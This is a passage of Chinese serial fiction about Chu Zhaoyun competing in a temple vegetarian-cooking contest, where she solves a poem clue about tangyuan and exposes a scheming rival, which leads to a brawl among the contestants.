“是啊,搞了半天是炸的?今个要是不判你出局,我许钰第一个不服!” “出局出局,炸东西谁不会啊,轮得到你吗?” 众人哄哄闹闹没完没了,方才还寂静的食客厅顷刻就乱成一团。 不过褚朝云已经料到这些人不会帮她说话,所以她也无所谓,只要空释觉得这样做没问题,她就还能通过。 似乎是大家闹得太凶,空释的那一声“肃静”并没起到什么作用。 就在局势快要控制不住的时候,徐二便愤怒的从人堆里挤了出来,徐小兄弟长鞭一甩,“啪嗒”一声就叫停了他们。 随即,便竖起眉毛道:“我一个外行都看出你们欺负人了!好家伙,油炸的不行?那你们又炒菜又烙饼的都不用油来做?既然人家长业寺给你们提供了油,那便就是能用!” 徐二吼过一嗓子,徐大也跟了出来:“想不到便说想不到,以多欺少可不成。” 说完,他转身给空释大师父行了一礼,“还是请评判来宣布结果吧?” 空释依言点了点头,冷淡的道出一声:“褚施主这道菜不但能通过,将来,还有望列入香客的素斋席食单中。” 这个结果着实分量不轻。 众人一听,气势顿然瘪了下去。 唯有宗匀酌仍旧不服,大步流星走上前来,一挥衣摆,冷冷看向空释:“这评判结果好不公正,反正我是不服!油炸之物岂能当作素斋?若真如此,你寺中人,为何不吃?” 空释见他年轻气盛,倒也没同他一般见识,只态度淡淡道:“施主也说了,是我寺中人。我寺中皆是出家之人,不吃是正常的。” “那你还要将这道菜,列入香客的素斋食单中?!” 他声音越吼越大,气的胸腔起伏不定。 徐二是脑子慢了点,可这会儿也俨然听出些门道来。 不待空释解释,他便拍了拍宗匀酌:“我说喂,你咋脑子比我还不好使,人家大师父说的还不够明白吗?这是给香客吃的,不是给和尚的啊!!” 徐二只是出于本能想要帮褚朝云理论,可这么随口一句,却如一盆冷水浇了参赛者们一脸。 他们这才恍然大悟—— 对啊! 这是给香客吃的素斋啊!! 若是真和寺中人用的饭食一样,何苦费心搞比赛选厨子,直接把菜随便煮煮不就行了么。 所以他们这两日心中颇多的疑问,此刻刚好在这儿得到了答案。 这空释大师根本就是兜了个大圈子,有意给他们吃寺中难吃的斋饭来误导选手,目的,就是想要找出一位心思细腻又通透的厨子来。 所谓素斋不过是一个名头,真想吃,自己家里也都能做。 人家之所以要跋山涉水到长业寺来,自然是想体验一下家中体验不到的新鲜感。 虽不用荤菜,但却要做的比荤菜香。 这便是本事。 一场初赛下来,留下的选手不足十人。 褚朝云初赛第一实至名归,正预备回去歇息时,唐淑便飞快跑了过来:“朝云!” “你好厉害!!” “你是不是一开始就参透了空释大师父的用意?难得我俩投契,你怎么知道了……也不跟我透露一点啊。” 唐淑伸手想挽她,褚朝云却摆摆手说:“不是一早,而是进了厨房之后才想到的。” 因为她留意到橱柜中最显眼的位置上,竟然放着整整一大罐子的油。 褚朝云登时就好奇起来,这长业寺中人不像是平时会吃油的吧,可这东西为何会放在这里? 细细思索了这两日发生的事,她猜想,这或许才是空释真正的目的。 反正有了眉目总要尽力一试。 就算会错了意,最多也就是出局而已。 唐淑想跟她一块回厢房,褚朝云看到徐家兄弟再等她,便叫唐淑自己先走,然后就跟徐家兄弟去到一旁说话。 对于刚刚的出手相助,她总要感谢一下。 徐二倒是没觉得这有何可道谢的,直愣愣道:“钟管事叫我们一路上要多护着你,如今他们狗眼看人低,我们自然要帮你讨个公道。” 徐大也懊恼道:“怪我思虑不周,想着码头离长业寺也不算太远……早知道就给姑娘租一辆马车了。” 坐马车来,也省的被选手们看低。 褚朝云忙笑道:“无妨,回去的时候记得租一辆就好。” 这俩人一看就是习武之人,两个时辰的路走的气都不喘,她可是连腿都要跑断了,说什么回去也得坐个马车。 闲话说完,徐大便压低声音跟她耳语一句。 褚朝云听罢,淡笑一声:“多谢相告。” 徐大:“姑娘丝毫不讶异?” 褚朝云默默点头:“嗯,之前就发现了不太对劲。” 褚朝云在院道边和二人拜别,独自一人回了厢房。 想着自己初赛这一局,也算是吃了个信息差的优势,可如今其他选手都知晓给香客的素斋无需太过严谨,恐怕下一场比赛,会更艰难。 刚这么想了一会儿,僧人就来给她送了一张纸条。 褚朝云展开,便见上面写着——桂花香馅裹胡桃,江米如珠井水淘。 她读出诗句,却不明其意:“请问这是?” 僧人缓施一礼:“这是施主复赛要准备的菜式。” 第58章 二更 僧人才刚说完,唐淑就从门外望了进来。 “朝云!” 唐淑在不知不觉间对她改换了称呼,并且喊得亲切又自然,仿佛二人是认识多年的老友一般。 其实唐淑的声音很有特点,虽说每次同宗匀酌针锋相对时都是句句有力,但实则声线却有着偏江南女子的婉约柔美。 糯糯的,听着便叫人舒适。 所以她这么一喊,连身前面无表情的僧人都不禁多看去一眼。 唐淑抬手挥了挥,指尖俨然也捏着张纸条。 僧人迈步离去,她便提着裙角走进来,“朝云,我拿到复赛的提示了!” 在唐淑没有打开自己那张纸条前,褚朝云并不能肯定这东西是否可以给旁人分享,若是每个人的诗句有所不同呢?亦或是……这是对初赛前几名独有的优待? 脑子里飞快闪过各种可能性,但唐淑显然想的没那么多。 女子像新年时得了彩头的孩童,大心大肺地就展开了纸条,而后大声念道:“桂花香馅裹胡桃,江米如珠井水淘~” “嗯?” 念过之后,她又微微锁了下眉头:“这是什么意思?是句诗吗??” “你不知道?” 褚朝云瞥来一眼,然后问。 唐淑登时迷乱的摇了摇头,面颊骤然红起来,露出一副有些小女儿家的害羞姿态:“我……咳咳,家父虽在家中给我们兄弟姐妹请了教书先生,但我着实不怎么喜欢读书,所以……嘿嘿。” 她的话很明显,自己只是个不学无术的学渣,并不知晓这句诗是什么意思。 见褚朝云拿着纸条发怔,唐淑又凑过来:“朝云,你呢?你看得懂吗?” 褚朝云缓缓摇头,但没吭声。 唐淑似是松了口气,将纸条随意丢在床旁,然后笑道:“那就先别想了,等到时候进了厨房,不就知道了吗?不过我猜那些食材无非就是一些桂花啊,江米之类的,哦对,可能还有胡桃。” 褚朝云偏头看她,提了下唇角:“你又怎知?” 唐淑讶异:“因为诗句上面提到了啊,不过我们倒是可以好好想想,这些东西都能做些什么……” 她说着当真思索起来,眉头凝着,一副绞尽脑汁想问题的模样。 屋子里顿时静默下来,连呼吸声都变得若有似无。 不知过了多久,思索的人终于回过了神,懊恼道:“我只想到了香饮子,还有家中常做的糯米饭,埋了胡桃仁的糯米饭也很香的,朝云你呢?” 褚朝云望了眼窗外,像是不预备要随便下这个结论,只淡淡道:“还是等到了复赛日再说吧。” 门外,不远处的院道旁传来窸窸窣窣地脚步声,似乎还有马蹄和轮胎压过路面的声响。 跟着,便有三三两两的说话声传来。 褚朝云知道,是那些初赛未过的参赛者准备离开长业寺了,因着男参赛者们的居所住的还要往深处些,所以他们出来时,自然会路过这边的院道。 也不知是不是故意,这声音响了没一会儿,唐淑便径自站起了身:“离晚饭时间还远,要不我们出去溜溜吧?” “你不打算歇会儿吗?” 褚朝云虽说是个勤快的人,但这难得的躺平时光她可是蛮珍惜的。 她其实挺想躺的,奈何唐淑已经推开房门,并且主动过来拉她:“晚上再睡也是一样,我侥幸过了初赛正兴奋着,实在憋闷的睡不着。” 于是褚朝云跟着她走出厢房,直接就溜达到了院道一旁。 第一个出局的蔡庆似是嫌自己丢人,所以也没等结果全部出来,就背着包袱走掉了。 但其他人还是坚持到了初赛完结。 所以这会儿,院道上马车、驴车众多,还有些家离着不远的就选择徒步回去,呜呜泱泱一行人,时而还能传来几声长辈训斥自家后辈没出息的声音。 唐淑连帷帽都没戴,就那么站在院道边瞧着他们。 “他们真可怜。” 女子表情里似是带着惋惜。 褚朝云的视线倒是没怎么落在那些人身上,只盯着地面压过的马车印说:“其实也没什么,以后在努力就是了。” 这几日听那些参赛者们时而说些闲话八卦,褚朝云才知,原来大祁还是很崇尚美食业的,所以名厨的地位才会那么高。 而诸如此类的比赛大大小小无数,并不只长业寺独一份。 只不过,长业寺的这个,会更有含金量而已。 至于这含的“金”体现在何处,他们……或者说是她,还不得而知。 她应完对方的话,唐淑便也不再言语。 陆陆续续的人员行过,很快,身后又走上来几名女子。 他们也是在房中听到了声音,所以才想出来看看是发生了何事。 说起这初赛之后留下来的,女子相对占比大些,所以院道对面站着的,只剩下寥寥几名男参赛者。 宗匀酌站在他们中间,换了天青色长衫的宗公子今个看着倒是儒雅了许多。 只是那人神态间还是藏不住对旁人的轻蔑和傲慢,所配衣衫反倒显得有些滑稽了。 褚朝云是懒得理会这人的。 只不过每次面对宗匀酌,她难免就要想起助手的话,那白衣白玉饰的宋家公子,到底为何会同宗匀酌这种人成为好友的? 待被淘汰的参赛者们走光之后,女参赛者们正好跟男参赛者们来了个面对面。 虽说大家都没怎么多想,但唐淑显然没那么安分。 再次对上那宗匀酌,女子立刻开启讥讽模式:“这第一轮方才比过,你们那边就少了大半……宗公子,敢问你可收到带有提示的纸条了?不打算关起门来好好研究一番吗?” 站在宗匀酌身边的许钰,虽听出了她的嘲讽,但却故意煽风点火:“唐小姐,你这是何意?” 唐淑冷哼:“我自然是好心提醒的意思,免得复赛之后,你们那边就不剩什么人了。” 这一说话,几乎将所有男参赛者们全部都惹怒了。 对面立刻扯着嗓子骂了句:“小小女子,竟敢如此猖狂!!” “敢问女子怎么了?!” 褚朝云身后,登时有女子走上前来,不忿地喊话回去。 一来一回,双方很快七嘴八舌的吵了起来。 而两边莫名其妙争执起来之后,最先开腔的唐淑却突然闭了嘴。 褚朝云不禁瞟去一眼,正瞧见她眼中皆是藏不住的得意之色。 唐淑先是隐晦地笑了一下,然后才故作委屈的走过来说:“朝云,他们真过分啊,他们看不起女子,这不是连程月娘子也一并骂了进去吗?” 程月是名厨,一向被学厨之人所尊崇。 可唐淑却把矛盾点引到了一个微妙的方向,激愤之下所有人都有些口无遮拦,自然也就顾不上程月的身份了。 眼看两方越吵越凶,褚朝云只好走到院道中央,将她们阻隔开来。 她一出来,双方怔然愣住,纷纷眉头不解的看向了她。 宗匀酌一见到她就来气,正欲再说些什么,褚朝云就遽然开口打断道:“众位讨论的话题有点偏了吧?空释大师父的苦心,真的只是为了选一个做素斋的厨师出来吗?” 显然不是。 这一点从初赛那一部分的弯弯绕绕,就能瞧出端倪。 如今双方站在寺中大肆开骂,恐怕这事若是被空释知道,会将他们一并给撵了出去。 那这赛,也就不用继续比了。 褚朝云一语点醒梦中人,话语听着有力,可面上却是一派云淡风轻的平静相。 她似乎并不怎么在意这些人的死活,但又偏偏出言阻止。 有起先瞧不上褚朝云的参赛者多看她几眼,然后不好意思的说道:“褚姑娘说的没错,是我等思虑不周了。” “啊,是这样……那就多谢褚姑娘的指点了。” “褚姑娘是心善之人,以貌取人是我的不对。” 三三两两的参赛者断断续续开口道谢,褚朝云只淡漠的撇去一眼:“我不是为了你们,只是不想受连累而已。” 她辛辛苦苦得来的比赛机会,起能让这些人给破坏掉了。 褚朝云说完这句话,就转身回了自己的厢房。 睡至夜半时分,她又将塞在枕头下的纸条取了出来,反复默念着纸上诗句,却怎么都参不破其中谜底。 自那日阻止了大家的争吵后,唐淑也没再来找过她。 歇息的那日,三餐都是由僧人送来房中,依旧是寺中人吃的粗茶淡饭。 褚朝云每一餐饭都好好的吃光,然后就是躺着休息,偶尔再拿纸条出来悟一悟,想不通就闭眼睡觉。 就这么时而睡时而醒的过了一天,转眼,就到了复赛当日。 和初赛一样,还是同样的一名僧人过来接她去厨房。 这一次清禅师傅没有出现,想来清禅只做初次的引路者,既然大家已经有过一次经验了,便也不用他再多费唇舌。 褚朝云走进厨房,在外等待的僧人便帮她关上房门。 这一次,又是空释替他们准备好了食材,不过与上回不同,这次大概不是什么“命题作文”了,看着反倒像是带有一种微妙的谜语性质。 只见方桌之上,依次摆着些可用食材。 有晒干的桂花,腌渍的糖桂花,有新鲜的糯米,也有磨好的糯米粉,有青皮的胡桃,也有炒熟的胡桃仁。 六种食材,皆是那句诗上提到过的。 褚朝云站在方桌前突然福至心灵,只稍微思考了下,便果断的选了糖桂花,糯米粉,还有炒熟了的胡桃仁。 …… 有了上一次对褚朝云的了解,这次僧人倒是不那么急了。 甚至连上方的烟囱冒没冒过烟,都没抬头去看一眼。 这次的限时还是一个时辰,僧人只默默算着时间,然后再还剩一刻钟结束之前,上前去敲敲门作出提醒。 得到褚朝云的回应之后,僧人就又安静的站在一旁等。 褚朝云从房里出来时,头上脸上还透着桂花的香味,她将做好的吃食递上,伸手示意,二人便一同去了食客厅。 与初赛相比,这次食客厅的人员减少过半,就连氛围也安静多了。 一行提早交了成品的参赛者都站在那里,褚朝云走到队尾,和处在中间的唐淑倒是拉开了些距离。 唐淑重新戴上了帷帽,转过头来看她的时候,并不像每次时那般热切。 女子几乎连话也没讲,就又默默转了回去。 帷帽的帽帘遮住面庞,没人发现唐淑此时此刻到底是个什么表情。 四位评判已经安座在位,尤其那女香客,像是还往人群里寻了一寻,待看到站在队末的褚朝云时,便露出了点和蔼的笑容。 成品被陆续端上了桌,第一份送上来的,就是许钰的桂花糯米饭。 之所以选择做它,是因为许钰对此物情有独钟,或许是过分喜爱糯米,这做起来自然也得心应手。 四位评判用筷子夹起品尝,分明还能看到糯米之间拉起来的长丝。 晶莹的饭粒一颗紧挨着一颗,却又不会掩盖了彼此的锋芒。 “这手艺还真是绝。” 听到有人对他的赞许,许钰自是得意的,想到初赛时是褚朝云得了第一,他便不太服气的望了过来。 褚朝云的厨艺不能说是这群人里最好的,因为初赛她确实赢的侥幸,更多的是创意上加了分。 只是许钰挑衅的目光,对女子并未起到任何作用。 褚朝云神色依旧淡淡的,若真算起来,心中也会有一丝觉得惋惜。 作为对手,她当然不会真的同情哪个。 但若说是单纯的欣赏,许钰的厨艺确实在她之上,还是很值得她学习的。 见褚朝云无动于衷,许钰似是有些不解。 于是,再收回视线等着听结果时,他目光就好死不死的往唐淑那落了下。 然后,许钰就看到女子轻轻拉起帽帘,并且用口型对着他说:恭喜,你马上——就要出局了。 有那么一瞬间,他觉得唐淑这副表情有点让人瘆得慌。 打了个机灵之后,许钰决定不在受这女子的蛊惑,专心致志看向上首处。 视线才挪过去,方丈就平淡地开了口:“许施主,出局。” “什、什么?!” 许钰简直不可置信。 他惊诧间吼了出来,侧目便注意到一脸幸灾乐祸的宗匀酌,想来宗匀酌也是早已知晓他会是这个结果。 许钰不知自己做错在哪里,索性想找空释理论一番。 奈何空释似乎知晓他的疑问,只是轻轻挥手,声音冷淡道:“请先去一旁,结束之后,我会公布答案。” 和初赛一样,开局就有人被淘汰了。 跟着之后的那几名参赛者,便也都和许钰有着相同的命运。 褚朝云一一看去,他们这群人里,有的做了糯米饭,有的做了糯米粥,也有的,还效仿她供给万春楼做的糯米糕,只是馅料用的是糖桂花和胡桃仁。 这些成品每一道都精致非凡,无论从外观亦或是味道上,全都不输第一轮。 除了许钰,其他被淘汰者也不满的发出疑问:“我明明所有食材都用到了,做的也不差,为何要判我出局?我不服!” 众人叫嚣不停。 直到被空释威严的目光刺到,才勉为其难的住了嘴。 接下来的这一道,就是褚朝云的了。 褚朝云这次没垫底,而是在倒数第三个被端上来的。 在她之后就是宗匀酌,最后则是唐淑。 褚朝云的吃食被呈上来后,其余参赛者便面露鄙夷:“呵呵,揉了一堆糯米团子而已,比我的还不如,看来也是要出局了~” “什么糯米团子,人家那叫汤圆诶。” “我没瞎,不就是裹了糖桂花的汤圆吗?这一道无论从色香味哪个入手,是能胜过我的糯米饭的?” 开口之人俨然是许钰。 空释低头看了一眼碗中吃食,胖胖的糯米团子粉糯糯的,一颗颗浑圆滑溜,浓郁的米香从碗中渗透出来,仿佛还能嗅到桂花和胡桃仁的香味儿。 大师父没有忙着去咬开汤圆,而是夹出一颗放到木勺上,再用筷子扎开。 筷子尖用力,破开的一个小口子里,金黄伴着黑棕的馅料就热滚滚的溢了出来。 金黄的则是糖桂花,而如沙的黑棕就是炒熟了胡桃仁。 褚朝云用杵臼把胡桃仁捣碎成粉,和糖桂花掺在了一起。 虽说胡桃仁粉偏干,但褚朝云调制的馅料非但看着不干,而且还能达到流心的丝滑状态。 可谓是给这普通又小巧的汤圆,又增添了一些独特的食欲。 空释看过之后便将汤圆放入口中,品尝半刻,就举了身边的红牌子。 而后,红牌子接二连三的被举起来。 褚朝云成了复赛中,第一个通过的选手。 被淘汰的参赛者们见状,眼中登时嫉妒的冒起火来。 有人按捺不住,几乎皱着眉大喊:“凭什么?凭什么她能通过?你们也太不公平了吧??” 其余人也是如此反应。 反倒是仅剩的两名比赛者,此刻倒是异常的平静。 恍惚间,褚朝云觉得有一道目光正盯着她看,女子不禁偏过头去,那道目光很快就又消失不见了。 不过那个位置上,只站了宗匀酌和唐淑二人。 是其中的哪个,她也不用多猜测。 和褚朝云提交的成品一样,宗匀酌也做了一份煮汤圆,除了馅料不怎么流心,其他的倒是没什么毛病。 虽然宗匀酌的汤圆看着中规中矩,却依然得到了红牌子,成了本次复赛的第二名。 其实要说起这流心的奥妙,褚朝云还得感谢程月。 因为她曾问过师父这个问题,所以程月写给她的调料方子里,最下方,便标注了能让馅料达到流心效果的方法。 最后,比赛者就只剩下唐淑一人了。 唐淑做的是比汤圆稍大一些的元宵,馅料和宗匀酌调的几乎一样,吃着也是不够流心,可她还是稳稳当当的过了复赛。 最终的决赛者在今日产生,三人互看一眼,彼此倒是都没言语什么。 复赛结束,等的不耐烦的淘汰者们又开始出声催促。 空释起身站到厅中央,念出了那张带有提示性的诗句。 “这一次的题目是:桂花香馅裹胡桃,江米如珠井水淘。” 念完之后,他稍作停顿,似是再给众人反应的时间,而后,就又继续道:“其实这是一首诗的前两句,而诗的后两句则是:见说马家滴粉好,试灯风里卖元宵。” 许钰念书不多,听得迷糊又焦灼,便不耐烦地一挥衣袖:“所以呢?那又怎么样啊!” 空释瞥了他一眼,继续说道:“这诗句中所描绘之意,便是上元节做汤圆和元宵的风俗,馅料用桂花和胡桃制成,外皮则选用江米包裹。” 他本是见初赛时难度设置太过,所以在复赛有意放水,才送上诗句作为提示。 奈何大部分的参赛者们,还是看不破其中的门道。 空释也有些无奈。 他本无意接替上一任的方丈位置,只是岳知府看中了他,所以才命他要用心举办这次的素斋大赛。 岳常原话便说:“蕤洲处在大祁边缘,数年来天灾不断,百姓虽不必受战乱之苦,却又要被上天磋磨……这实非我想看到的。” “我既做了这蕤洲知府,自当要为民尽心。” "空释,此次赛事必要尽全力,不得敷衍。希望我等此举能感念上天,降下些福瑞庇佑我蕤洲百姓安康和乐才是。" 所以空释此次要选出来的,于厨艺上只是一个方面。 更多的,还是看心。 这解释合情合理,但大部分的淘汰者们还是沮丧到抓狂。 他们三三两两出了食客厅,越想越气,不禁愤怒咆哮道:“这这这是在欺辱我读书差劲吗?作什么诗,不是做饭吗?简直岂有此理!!” 褚朝云和徐大徐二打过招呼,又因累了一个上午,也预备回厢房去歇着。 眼下,决赛会比些什么她暂时不想考虑。 这素斋大赛着实让人心累的很,她很想舒舒服服的睡一觉再说。 往回的途中,院道上便迎面走来好些的人,淘汰者们骂骂咧咧背着包袱狼狈离去,如今再看到她,已是半点低看之心都没有了。 许钰迎面而来,像是无论如何都想不通。 于是他将包袱丢给身旁仆从,大步流星上前来截住了她。 并怒气冲冲道:“褚朝云,你到底什么来头?你是蕤洲哪里人?若对厨艺如此精通,为何又要故意穿的这般破烂,你真是好心机啊!!” “……” 这话褚朝云听得简直有点无语。 谁有好衣裳还会故意穿的破烂,心机是用在这里的吗?? 不过许钰这话,确实也是其他人心中的疑问,大家伙一见有戏看,纷纷就围了上来。 众人越聚越多,顿时就堵死了回厢房的路。 只是不待褚朝云开口说些什么,身后便传来女声的娇笑。 独特的嗓音本该细腻温软,却仿佛又透着股违和的扎人感。 不过这一回,唐淑的话扎的不是别人。 而是她。 众人听到声音回望过去,唐淑就慢慢悠悠走了上来。 女子啧啧两声,说话间显然又要发笑:“许钰啊许钰,说你傻,你还真就要癫给大家看了。人家褚朝云——可是大名鼎鼎的厨娘程月的爱徒,岂是你这种乱七八糟的乡野之人所能比的么?” 第59章 二更 “什么?!!” 唐淑揭破褚朝云的身份后,未待许钰出声,其余凑上来的参赛者们,就全都齐齐爆发出一声震惊来。 许钰几乎懵了,方才还强撑出来的气势顿然弱下去一大截。 他脚底打滑,双腿发软,像是有些站不太稳。 参赛者们急于跟褚朝云求证,嫌他挡在前边碍事,于是就七手八脚的将他推出了包围圈。 唐淑一句说完,仿佛早已酝酿好了似的,眯起眼,又继续说道:“所以呢,你们输在她的手上也不算丢人,倒是她……这么藏着掖着,好像是有点过分了呢。” 唐淑最擅长煽风点火,这一点在前两日,褚朝云就已经领教过了。 而此刻,输了比赛的参赛者们,也像是突然找到了借口和理由。 是啊!他们明明那么优秀,怎么会毫无根据的输给一个其貌不扬之人? 这不是他们的错。 是褚朝云的错。 是褚朝云隐瞒身份在先,害的他们全都没有准备,这才在万般无奈之下输掉复赛的! 一群人目光狠叨叨地盯向褚朝云。 即便不说什么,褚朝云也能明白他们心里所想。 毕竟没谁愿意承认自己不如旁人。 而唐淑的目的也很明显,她多次在褚朝云的面前提起程月,先是崇拜,见对方只字不露,又挑起争端引导大家去骂程月。 原想着,褚朝云怎么也是程月唯一的徒弟,若是听到有人辱骂自己的师父,哪怕再不想暴露,也会出面说两句。 可她没想到这女子好生难搞。 哪怕亲耳听到有人辱骂程月,依旧站的纹丝不动。 可真是好耐性! 唐淑自然不是真的不学无术,反而对作诗作画颇为精通,打从拿到那张纸条起,她便知晓了空释方丈的意思。 只是令她有些想不通的是——褚朝云不过一名小小船娘,竟也能勘破其中含义。 若不是这次比赛的保密性太过严格,她差点以为褚朝云是提前得知了比赛内容,所以才能屡屡胜出的。 唐淑挑完事便退出人群,打算坐山观虎斗。 奈何这一次,褚朝云没给她机会。 褚朝云不怎么理会参赛者们的盯视和怒骂,只慢慢悠悠走向唐淑。 女子声音不大,声线也是不同于唐淑的清冷,“我的确是程月的徒弟不假,但我更感兴趣的是,你又是如何得知这件事的呢?” 唐淑似是没想到,她还敢质问自己? 面色一哂,刚要说话,褚朝云便自问自答的截住了她:“哦我懂了,京都贵女果然实力不俗,为了赢得比赛自是要知己知彼,唐小姐如此轻易便摸清了我们众位的底细,这比赛……想不赢都难啊。” “厉害厉害。” 她说着,还象征性的拍了两下手。 褚朝云这样一“提醒”,那些参赛者们的表情先是迷茫了下,随即便反应过来了什么。 于是,原本对准她的一行人突然调转枪头,看着唐淑愤然道—— “你竟然调查我们的底细?你这是作弊行为!” “唐淑,你怎么能这样做?你有什么权利?” “卑鄙!你太卑鄙了!!” “我没有,你们少听她的蛊惑之言!” 唐淑内心惊恐,下意识反驳。 褚朝云“噗嗤”一笑,继续说道:“是么?但你若没有,那到底是怎么得知我是何人的徒弟?又是怎么知晓——” 她说着,目光便落在刚从食客厅出来的宗匀酌身上。 唐淑心中一紧,便听女子幽幽道:“青州第二的宗公子……为了得到程月的认可,不惜偷人家食材,再佯装找到,如此隐秘之事恐怕非外人能够随意得知的吧?” 褚朝云说完,一字不落听了个完整的宗匀酌,脸色赫然就变了。 宗匀酌的黑历史被宋家那个撞破已是恼羞过一阵,原以为不会再有其他人知道。 可没想到,今日这种场合,竟然又被他们给大刺刺地抖落了出来。 宗匀酌此刻已经全无理智。 他不恨当面说出这件事的褚朝云,反而恨唐淑。 因为唐淑这几日屡次在他面前提起程月,想必是一早就把他的糗事讲给了褚朝云听。 宗匀酌气的脸色红了又白,白了又红,像是实在觉得没脸,索性便把怒火全部发泄到了唐淑的头上。 他暴喝一声“贱人!!”,竟不顾体面的过来跟唐淑扭打起来。 其余参赛者见此,便也跟着加入混战。 一时间,院道中央喊声震天,字字句句的辱骂不堪入耳。 有人怒吼:“你这个作弊小人,竟敢背地里调查我,我叫你查,叫你查!!” 也有人哭喊不停:“要不是你使诈,我又怎么会过不去复赛,还要听家中长辈训斥,都是你!!” 见众人打的不可开交,全无形象。 那个原本被他们低看,每一次见面都要鄙夷奚落两句的褚朝云,倒是好端端的站在一边,女子衣衫虽破旧,头上连根簪子也没有,妆容更是素净到只是本颜。 可和那群打架的人相比起来,她却体面又端庄。 这场混战自然不会持续太久,因为参赛者们身边都有家眷和仆从跟随。 没一会儿,众人就被各自的仆从给拉开了。 唐淑方才死死护住头和脸,却也被抓的发髻凌乱,朱钗满地,贵女的形象半点都看不出来,此刻瞧着更像个疯妇。 她被仆从搀扶着重重呼了口气,但也知这次是吃了个哑巴亏。 她京都贵女的身份虽说是要比这群人高些,可终究不是皇族,家中只是行商,并无任何权势。 而且这么多人打她一个,她也追究不过来。 于是,隔着被抓下来的一绺头发,她隐约看到褚朝云还站在那。 女子近乎疯魔的甩开了拉着她的管家,大步奔到褚朝云面前,几乎气的不知该说什么,最后只喊了几声:“好!你好啊褚朝云!你简直好得很!!” “多谢夸奖。” 褚朝云缓施一礼,而后淡淡道:“我自问不想惹事,但事来了,我也不怕。” 唐淑听了嗤嗤冷笑,“若真算起来,你这挑拨离间的本事倒是比我都强!你这个卑鄙无耻的阴狠小人,我再怎么样,也没想过要对你动手,你可倒好,蛊惑他们上来打我?” 褚朝云也懒得再跟这女人磨豆腐,索性把话说直白些:“没想过对我动手?唐淑,你只是技不如人。况且——” 她打量的扫了对方一眼,“你害得我师父不能留在京都,我身为她的徒弟,当然要替她报这个仇。” 当年的事助手也讲得含含糊糊,只说那第一位想要拜师的女子人品拙劣,所以程月没有收她。 起初,褚朝云也没怎么多想。 直到这次见到了唐淑。 唐淑自作聪明,总想挑起她和宗匀酌的争端,可正因唐淑总是刻意的提起“程月”,褚朝云才对这人产生了怀疑。 八年前程月得了魁首,却将进入京都酒楼的机会让给了一位大师傅。 程月骨子里有一种避世的心理,并不愿与人争抢。 所以她让出机会的举动,一定另有隐情。 褚朝云没办法知晓更多,但唐淑是京都来的,而她又怀疑这女子就是程月第一个想收的徒弟,所以最终逼得程月离开京都之事……背后肯定有这女子在捣鬼。 褚朝云只是想诈一诈唐淑,没想到一诈一个准。 她提起“报仇”二字,唐淑很快变了脸色。 不过个中细节她也不打算再问,总归不是什么好听的事。 正要回到厢房去,唐淑就又叫住了她:“褚朝云!我自问在你面前演的毫无破绽,你到底怎么看出我是假意接近的?” 褚朝云微微一笑,抬手点了点头上。 唐淑皱起眉头,似乎不太明白。 不过她也懒得解惑,转身便走了。 唐淑那日戴着帷帽去找褚朝云时,为了装成自己是大大咧咧的心性,进门便摘下帽子丢在了床榻上。 其实她比谁都嫌弃褚朝云,所以一离开,就迫不及待去了管家那处更换帷帽。 本以为这个细节没人会注意,但褚朝云一到食客厅就发现了。 她当时问唐淑“是不是去找了管家”,对方随口就说了“不是”。 若是唐淑大大方方的承认了,她还真未必会多心。 而这一点除了被她察觉,徐大过来提醒她的也是这件事。 因为仆从都住在同一间院子里,所以唐淑去找管家,徐大自然看得到。 虽说来找自己的管家说话是正常举动,可当时唐淑表情鬼祟,徐大这才多注意了几眼。 在长业寺里打架这事,后果很严重。 空释本想直接取消他们的名额,可如今进入决赛的就只剩下三人,未免觉得可惜,空释便一纸书信,直接送到了岳常那里。 府邸中燃着舒缓心神的安神香,妇人抬手按在岳常两侧的太阳穴上,按了会儿便问:“怎么样,可好些了?” 岳常似是有些无奈,抬手拉住她,让她坐到自己身前:“纯心,你有多久都没对着我笑过了?” “有什么好笑的。” 钟纯心抽回手,面上依旧是那副冷薄的样子。 岳常虽说是知府,但此刻二人间的相处,倒更像是岳常要紧着钟纯心一些。 老管家进门递上书信,而后看向钟纯心,垂首请示道:“夫人,影壁墙上的小狮子破损了一只,仿制的确实不太耐久,咱们是不是……” “不必,知府大人不喜铺张浪费,就还去那家店定做吧。” 钟纯心果断拒绝。 老管家应了声“是”,悄悄然退了下去。 岳常已经浏览完了书信,凝眉片刻,似是对长业寺打架一事颇为不满:“如此品行还想给香客们做素斋,就不怕辱了寺中清净吗?还有这个叫褚朝云的,信中说,据在场的僧人回禀,就是这小姑娘先挑的事,倒是一副好心机。” 听到“褚朝云”的名字,钟纯心微挑了下眉梢:“所以知府大人的意思,是要取消他们的资格了?” “我是这么认为的,再让空释费心挑出一批便好,不过就是多等些时候罢了。” 他说完,还是转头看向身旁妇人:“那……纯心呢?你怎么看?” 钟纯心哼笑一声:“知府大人可真会说笑,我怎么看,重要吗?” “自然重要。” 岳常好脾气的安抚钟纯心。 “那就还是照常比赛吧。” 妇人“腾”地站起身来,径自出了门去,一眼都没往岳常那处看。 身后传来轻微地叹息声。 岳常起身走出门来,似是有些流连这一处他亲手布置的府邸,末了,才挥手唤来仆从道:“走吧,回府。”- 歇息的那一日,褚朝云三人得到了僧人的口信:“比赛可以继续,但勿要再生事端。” 褚朝云思想一番那日和唐淑对上,又挑的众人打了唐淑一顿。 也觉得,确实有些冲动了。 她不后悔教训唐淑,因为这女人实在可恶。 褚朝云只是怕自己真被取消了比赛资格,若这般灰溜溜的回了船上,程月大抵会对她失望的吧。 僧人除了送口信过来,便在没有其他多余的话了。 褚朝云喊住来人,主动询问:“敢问小师傅,关于决赛……” 这次空释并没送来什么提示,而且明日就是决赛期,褚朝云总要得到句准话才行。 至少得知晓,明日该比些什么吧? 僧人朝她行了一礼,而后应道:“褚施主不必惊慌,我此刻便去给您送纸笔过来。” “送纸笔?” 褚朝云不解。 僧人:“纸笔是用来书写决赛要用到的食材的,您且好好思量一番,写过之后我们便会派人去买。但若是写漏掉了,就无法在更改了,还望施主要谨慎些。” 看来决赛是自由发挥了,褚朝云倒是更喜欢这种。 趁着僧人去取纸笔的时候,她便坐到方桌前细细琢磨起来。 之前两轮比赛过后,她也看得出来,宗匀酌和唐淑并非草包,这两人的实力不可小觑。 毕竟曾经能被程月看中,肯定不是寻常之辈。 虽说那二人最终都没有拜在程月门下,但大祁名厨也不只程月一位,谁又知晓,这俩人后续是不是又拜了别家。 还有就是“自由发挥”这事对他们来说,不但有利,其实也有弊端。 好处是选用食材上不受限制,能做的东西也就更多,但坏处也是因为“过分的随性”,想要取胜,难度也就更上一层楼了。 